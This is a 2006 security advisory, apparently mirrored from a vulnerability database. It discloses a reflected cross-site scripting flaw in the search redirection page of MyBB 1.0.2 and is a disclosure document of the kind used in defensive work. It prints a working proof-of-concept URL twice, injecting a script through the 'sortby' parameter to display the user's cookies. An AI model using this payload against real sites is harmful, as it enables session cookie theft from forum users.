Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11194
HistoryJan 26, 2006 - 12:00 a.m.

MyBB 1.0.2 XSS attack in search.php redirection

2006-01-2600:00:00
vulners.com
13

http://127.0.0.1/mybb/search.php?action=do_search&amp;keywords=&amp;postthread=1&amp;author=imei&amp;matchusername=1&amp;forums=all&amp;findthreadst=1&amp;numreplies=&amp;postdate=0&amp;pddir=1&amp;sortby=&quot;&gt;&lt;script language=javascript>alert(document.cookie)</script>&sorder=1&showresults=threads&submit=Search
--------------------Summary----------------

Software: MyBB
Sowtware's Web Site: http://www.mybboard.com
Versions: 1.0.2 updated
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: imei
Risk Level:low
-----------------Description---------------
Mybb has a security bug that allows hackers run unwanted scripts into client's browser that well known as XSS cross site scripting
bug is in result of poor cheknig of two input varibles "sortby" & "sortordr" in redirection page of search pages.
line668of search.php
a full exploit can result to thefting cookies…
bug founded by imei and reported to vendor…
--------------Exploit----------------------
go to this url:
/mybb/search.php?action=do_search&keywords=&postthread=1&author=imei&matchusername=1&forums=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby="><script language=javascript>alert(document.cookie)</script>&sorder=1&showresults=threads&submit=Search
--------------Solution---------------------
No Patch available.
--------------Credit-----------------------
Discovered by: imei addmimistrator[at]gmail[dot]com